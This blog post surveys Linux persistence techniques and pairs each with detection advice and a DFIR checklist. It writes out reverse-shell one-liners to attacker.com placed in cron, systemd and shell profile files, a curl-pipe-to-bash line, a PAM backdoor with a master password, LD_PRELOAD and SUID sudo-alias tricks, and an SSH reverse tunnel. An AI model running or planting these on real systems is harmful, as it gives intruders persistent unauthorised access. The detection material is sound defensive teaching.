Help Ukraine, click for information

> Linux Persistence Techniques: How Attackers Stay Hidden_

Getting in is the easy part. Staying in — surviving reboots, log rotations, and incident response — is where the craft is.

This post covers the most common and effective Linux persistence techniques used in real intrusions, with commands, detection notes, and DFIR artefacts for each.


## 1. Cron jobs

The classic. Cron runs scheduled commands; attackers add entries to re-establish a reverse shell on a schedule.

User crontab (no root needed):

terminal
# Add a cron job as current user crontab -e # Or write directly echo "*/5 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -

System cron (root):

terminal
# /etc/crontab or /etc/cron.d/ echo "*/5 * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /etc/cron.d/sysupdate

Detection:

  • >crontab -l -u <user> for each user
  • >Monitor /var/spool/cron/crontabs/, /etc/cron.d/, /etc/crontab
  • >Auditd rule: -w /var/spool/cron -p wa
  • >New cron entries at unusual hours spike in log analysis

## 2. Systemd service units

More persistent and stealthier than cron — survives reboot and looks like a legitimate service.

terminal
cat > /etc/systemd/system/sysupdate.service << 'EOF' [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' Restart=always RestartSec=60 [Install] WantedBy=multi-user.target EOF systemctl enable sysupdate.service systemctl start sysupdate.service

More subtle variant: modify an existing legitimate service to execute a second command:

terminal
[Service] ExecStartPost=/bin/bash -c 'curl https://attacker.com/c2 | bash &'

Detection:

  • >systemctl list-units --all --type=service
  • >New .service files in /etc/systemd/system/ or /lib/systemd/system/
  • >Check ExecStart / ExecStartPost in service files for suspicious commands
  • >journalctl -u sysupdate.service — service logs
  • >Auditd: -w /etc/systemd/system -p wa

## 3. SSH backdoors

Authorised keys (no root needed):

The most reliable persistence for SSH access. Add your public key to a user's ~/.ssh/authorized_keys:

terminal
mkdir -p ~/.ssh && chmod 700 ~/.ssh echo "ssh-rsa AAAA...attacker-key..." >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys

Root access: same thing in /root/.ssh/authorized_keys.

Modifying sshd_config (root):

terminal
# Allow root login with any key echo "PermitRootLogin yes" >> /etc/ssh/sshd_config # Accept a specific environment variable (can be used with forced commands) echo "PermitUserEnvironment yes" >> /etc/ssh/sshd_config

SSH config persistence via ~/.ssh/config:

Users with outbound SSH access can add:

terminal
Host tunnel HostName attacker.com RemoteForward 2222 localhost:22 User attacker IdentityFile ~/.ssh/id_rsa ServerAliveInterval 60 ExitOnForwardFailure no

Combined with a cron job running ssh -N tunnel, this creates a persistent reverse tunnel.

Detection:

  • >Monitor /root/.ssh/authorized_keys and all user ~/.ssh/authorized_keys
  • >Diff against known-good state
  • >ss -tnp — look for outbound SSH (port 22) to unexpected IPs
  • >w or who — active SSH sessions
  • >/var/log/auth.logAccepted publickey entries with unknown keys

## 4. LD_PRELOAD hijacking

LD_PRELOAD is an environment variable that tells the dynamic linker to load a shared library before all others. Any function in your library overrides the real one — including getpwnam(), PAM calls, or even system().

Create a backdoor library:

terminal
// backdoor.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> // Override getuid to always return 0 (root) for a specific user int getuid(void) { return 0; } int geteuid(void) { return 0; }
terminal
gcc -shared -fPIC -o /lib/x86_64-linux-gnu/libsecurity.so backdoor.c -ldl echo "/lib/x86_64-linux-gnu/libsecurity.so" >> /etc/ld.so.preload

/etc/ld.so.preload applies the preload to every dynamically-linked binary on the system. This is how some rootkits hide processes — override readdir() to filter out their entries.

More subtle: inject only into specific programs via LD_PRELOAD in the environment (affects only that shell session), or via a wrapper script that sets the env var.

Detection:

  • >Check /etc/ld.so.preload — should normally be empty
  • >Look for unusual .so files in /lib/, /usr/lib/
  • >ldd /bin/ls — check what libraries standard binaries load
  • >Auditd: -w /etc/ld.so.preload -p wa

## 5. PAM module backdoor

Pluggable Authentication Modules (PAM) control authentication on Linux. A malicious PAM module can accept a master password for any account — or log real passwords.

terminal
// pam_backdoor.c #include <security/pam_appl.h> #include <security/pam_modules.h> #include <string.h> PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *password = NULL; pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL); // Accept master password regardless of user if (password && strcmp(password, "Sup3rS3cr3tM@st3r") == 0) { return PAM_SUCCESS; } // Fall through to real auth (call next module) return PAM_IGNORE; }

Compile and drop into /lib/security/pam_update.so, then add to /etc/pam.d/common-auth:

terminal
auth sufficient pam_update.so

The sufficient keyword means if the backdoor returns success, skip remaining auth checks.

Detection:

  • >Audit /etc/pam.d/ for unexpected modules
  • >Check ls -la /lib/security/ for recently added or modified .so files
  • >Compare PAM config against known-good baseline
  • >Any .so in PAM config that doesn't ship with the distro is suspicious

## 6. Bashrc / profile injection

Low-effort, noisy, but effective against users who don't check their shell config.

terminal
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> ~/.bashrc echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> ~/.profile echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /etc/profile.d/system.sh

More subtle — alias injection:

terminal
echo "alias sudo='sudo bash -c \"cp /bin/bash /tmp/.bash && chmod +s /tmp/.bash\" && sudo'" >> ~/.bashrc

Next time the user runs sudo, a SUID bash copy appears in /tmp.

Detection:

  • >Review ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile.d/ for all users
  • >Monitor for SUID binaries in /tmp or /var/tmp

## 7. Kernel module rootkit

The nuclear option. A malicious kernel module has ring-0 privileges and can hide processes, files, network connections, and itself.

terminal
// hide.c (simplified) #include <linux/module.h> #include <linux/syscalls.h> // Hook getdents64 to filter out directory entries with a specific prefix // This hides files starting with ".rootkit_" from ls/find
terminal
insmod hide.ko

Combined with sys_call_table hooking, a rootkit can make the system appear completely clean while running malicious processes.

Detection:

  • >lsmod — but a rootkit can hide from this
  • >modprobe --show-depends <module> — check loaded modules
  • >Compare /sys/module/ against expected modules
  • >Memory forensics tools: Volatility, AVML for memory acquisition
  • >Kernel integrity: IMA/EVM, SecureBoot with module signing
  • >Out-of-band: compare running system state with a known-clean snapshot

## DFIR checklist: where to look

When hunting for persistence on a compromised Linux box:

terminal
# Cron crontab -l -u root for user in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$user" 2>/dev/null; done ls -la /etc/cron* # Services systemctl list-units --type=service --all find /etc/systemd /lib/systemd -name "*.service" -newer /var/log/syslog # SSH keys find /home /root -name "authorized_keys" 2>/dev/null find /home /root -name "known_hosts" 2>/dev/null # SUID/SGID files find / -perm -4000 -o -perm -2000 2>/dev/null | grep -v proc # Recently modified files find /etc /bin /sbin /usr/bin /usr/sbin -mtime -7 -type f 2>/dev/null # LD_PRELOAD cat /etc/ld.so.preload # PAM ls -la /lib/security/ grep -r "sufficient\|requisite" /etc/pam.d/ # Kernel modules lsmod | awk '{print $1}' | tail -n +2 | xargs modinfo 2>/dev/null | grep -E "filename|signer" # Listening / outbound connections ss -tulnp ss -tnp state established

Linux persistence is a cat-and-mouse game. Attackers move to kernel-level techniques precisely because they evade user-space detection. The best defence is immutable infrastructure (bake images, detect drift) combined with host-based telemetry (auditd, eBPF-based EDR) that captures system calls rather than file snapshots.

root@sovietghost:/blog/039-linux-persistence# ls -la ../

> Thanks for visiting. Stay curious and stay secure. _